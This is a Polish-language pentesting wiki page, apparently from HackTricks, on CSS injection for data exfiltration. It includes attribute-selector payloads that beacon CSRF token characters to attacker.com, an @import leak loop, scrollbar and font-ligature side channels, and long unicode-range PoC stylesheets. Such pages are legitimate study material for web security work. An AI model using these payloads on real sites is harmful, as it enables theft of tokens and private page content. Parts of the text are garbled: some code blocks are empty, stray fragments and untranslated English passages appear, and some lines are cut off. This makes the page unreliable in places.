# CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
## CSS Injection
### Selector atrybutu
Selektory CSS są tworzone w celu dopasowania wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut value elementu input zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Jednakże, to podejście napotyka ograniczenie w przypadku ukrytych elementów wejściowych (`type="hidden"`), ponieważ ukryte elementy nie ładują tła.
#### Ominięcie dla Ukrytych Elementów
Aby obejść to ograniczenie, możesz celować w następny element rodzeństwa, używając kombinatora rodzeństwa ogólnego `~`. Reguła CSS następnie stosuje się do wszystkich rodzeństw następujących po ukrytym elemencie wejściowym, powodując załadowanie obrazu tła:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Praktyczny przykład wykorzystania tej techniki jest szczegółowo opisany w dostarczonym fragmencie kodu. Możesz go zobaczyć [tutaj](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Wymagania wstępne dla wstrzykiwania CSS
Aby technika wstrzykiwania CSS była skuteczna, muszą być spełnione określone warunki:
1. **Długość ładunku**: Wektor wstrzykiwania CSS musi wspierać wystarczająco długie ładunki, aby pomieścić skonstruowane selektory.
2. **Ponowna ocena CSS**: Powinieneś mieć możliwość osadzenia strony, co jest konieczne do wywołania ponownej oceny CSS z nowo wygenerowanymi ładunkami.
3. **Zasoby zewnętrzne**: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez Politykę Bezpieczeństwa Treści (CSP) strony.
### Ślepy selektor atrybutów
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`**, aby zidentyfikować treści nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się na stronie ładującej wstrzykiwanie CSS.\
Możliwe jest również użycie tych selektorów do wydobywania informacji z kilku bloków tego samego typu, jak w:
```html
```
Łącząc to z następującą techniką **@import**, możliwe jest wykradzenie dużej ilości **informacji za pomocą wstrzykiwania CSS z niewidocznych stron przy użyciu** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Poprzednia technika ma pewne wady, sprawdź wymagania wstępne. Musisz być w stanie **wysłać wiele linków do ofiary** lub musisz być w stanie **iframe'ować stronę podatną na wstrzykiwanie CSS**.
Jednak istnieje inna sprytna technika, która wykorzystuje **CSS `@import`**, aby poprawić jakość techniki.
Zostało to po raz pierwszy pokazane przez [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i działa to w ten sposób:
Zamiast ładować tę samą stronę raz za razem z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej), zamierzamy **załadować stronę tylko raz i tylko z importem do serwera atakującego** (to jest ładunek do wysłania ofierze):
```css
@import url("//attacker.com:5001/start?");
```
1. Import będzie **otrzymywał jakiś skrypt CSS** od atakujących, a **przeglądarka go załaduje**.
2. Pierwsza część skryptu CSS, którą wyśle atakujący, to **kolejny `@import` do serwera atakującego.**
1. Serwer atakującego nie odpowie jeszcze na to żądanie, ponieważ chcemy wycieknąć kilka znaków, a następnie odpowiedzieć na ten import ładunkiem, aby wycieknąć następne.
3. Druga i większa część ładunku będzie **ładunkiem wycieku selektora atrybutu.**
1. To wyśle do serwera atakującego **pierwszy znak sekretu i ostatni.**
4. Gdy serwer atakującego otrzyma **pierwszy i ostatni znak sekretu**, **odpowie na import żądany w kroku 2.**
1. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje **znaleźć drugi znak sekretu, a następnie przedostatni.**
Atakujący **będzie powtarzał tę pętlę, aż uda mu się całkowicie wycieknąć sekret.**
Możesz znaleźć oryginalny [**kod Pepe Vili do wykorzystania tego tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub możesz znaleźć prawie [**ten sam kod, ale skomentowany tutaj**.](#css-injection)
> [!NOTE]
> Skrypt będzie próbował odkryć 2 znaki za każdym razem (od początku i od końca), ponieważ selektor atrybutu pozwala na robienie rzeczy takich jak:
>
> ```css
> /* value^= aby dopasować początek wartości */
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= aby dopasować koniec wartości */
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> To pozwala skryptowi na szybsze wyciekanie sekretu.
> [!WARNING]
> Czasami skrypt **nie wykrywa poprawnie, że odkryty prefiks + sufiks to już pełna flaga** i będzie kontynuował do przodu (w prefiksie) i do tyłu (w sufiksie), a w pewnym momencie się zawiesi.\
> Nie martw się, po prostu sprawdź **wyjście**, ponieważ **możesz tam zobaczyć flagę**.
### Inne selektory
Inne sposoby dostępu do części DOM za pomocą **selektorów CSS**:
- **`.class-to-search:nth-child(2)`**: To wyszuka drugi element z klasą "class-to-search" w DOM.
- **`:empty`** selektor: Używany na przykład w [**tym opisie**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
```
### Błąd oparty XS-Search
**Referencja:** [Atak oparty na CSS: Wykorzystywanie unicode-range z @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC autorstwa @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Ogólnym zamiarem jest **użycie niestandardowej czcionki z kontrolowanego punktu końcowego** i zapewnienie, że **tekst (w tym przypadku 'A') jest wyświetlany tą czcionką tylko wtedy, gdy określony zasób (`favicon.ico`) nie może być załadowany.**
```html
```
1. **Użycie niestandardowej czcionki**:
- Niestandardowa czcionka jest definiowana za pomocą reguły `@font-face` w tagu `
AB
htm
```
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Ekstrakcja węzła tekstowego (I): ligatury
**Referencja:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Technika opisana polega na ekstrakcji tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:
1. **Tworzenie niestandardowych czcionek**:
- Czcionki SVG są tworzone z glifami mającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.
- Przykład glifu SVG: ``, gdzie "XY" oznacza sekwencję dwóch znaków.
- Te czcionki są następnie konwertowane do formatu woff za pomocą fontforge.
2. **Wykrywanie zmian szerokości**:
- CSS jest używane, aby zapewnić, że tekst nie zawija się (`white-space: nowrap`) i aby dostosować styl paska przewijania.
- Pojawienie się poziomego paska przewijania, stylizowanego w sposób odmienny, działa jako wskaźnik (oracle), że w tekście obecna jest określona ligatura, a tym samym określona sekwencja znaków.
- Użyty CSS:
```css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
```
3. **Proces eksploatacji**:
- **Krok 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
- **Krok 2**: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.
- **Krok 3**: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, włączając wykrytą parę i dodając znak poprzedzający lub następujący.
- **Krok 4**: Wykonywana jest detekcja ligatury trzech znaków.
- **Krok 5**: Proces powtarza się, stopniowo ujawniając cały tekst.
4. **Optymalizacja**:
- Obecna metoda inicjalizacji za pomocą `
**Referencja:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Zestaw znaków użyty w węźle tekstowym może być wyciekany **za pomocą domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne - ani niestandardowe - czcionki.
Koncepcja opiera się na wykorzystaniu animacji do stopniowego rozszerzania szerokości `div`, pozwalając jednemu znakowi na przejście z części 'sufiksowej' tekstu do części 'prefiksowej'. Proces ten skutecznie dzieli tekst na dwie sekcje:
1. **Prefiks**: Początkowa linia.
2. **Sufiks**: Kolejna linia(e).
Etapy przejścia znaków będą wyglądać następująco:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Podczas tego przejścia wykorzystywana jest **sztuczka unicode-range** do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
Chociaż ta metoda pozwala na wykrycie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że wystąpiło powtórzenie.
> [!NOTE]
> Zasadniczo, **unicode-range jest używane do wykrywania znaku**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób.\
> Gdy **znak** jest **znaleziony**, otrzymuje **wstępnie zainstalowaną czcionkę Comic Sans**, która **powiększa** znak i **wywołuje pasek przewijania**, który **ujawnia znaleziony znak**.
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków za pomocą domyślnej czcionki przez ukrywanie elementów (nie wymagające zewnętrznych zasobów)
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem uczynienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** jak przycisk, który nie ma być naciśnięty przez bota lub obraz, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania pamięci podręcznej (nie wymagające zewnętrznych zasobów)
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
W tym przypadku moglibyśmy spróbować wyciekować, czy znak jest w tekście, ładując fałszywą czcionkę z tego samego źródła:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Jeśli występuje dopasowanie, **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się pomyślnie, **przeglądarka powinna ją zbuforować**, a nawet jeśli nie ma bufora, istnieje mechanizm **304 not modified**, więc **odpowiedź powinna być szybsza** niż inne rzeczy.
Jednakże, jeśli różnica czasowa między odpowiedzią z bufora a odpowiedzią bez bufora nie jest wystarczająco duża, nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania setek lokalnych "czcionek" (nie wymagających zasobów zewnętrznych)
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
W tym przypadku możesz wskazać **CSS do załadowania setek fałszywych czcionek** z tego samego źródła, gdy wystąpi dopasowanie. W ten sposób możesz **zmierzyć czas**, jaki zajmuje, i dowiedzieć się, czy znak się pojawia, czy nie, za pomocą czegoś takiego jak:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
A kod bota wygląda tak:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli czcionka się zgadza, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność w sieci. W rezultacie zajmie to więcej czasu, aby spełnić warunek zatrzymania i otrzymać odpowiedź. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do określenia, czy czcionka się zgadza.
## References
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
{{#include ../../../banners/hacktricks-training.md}}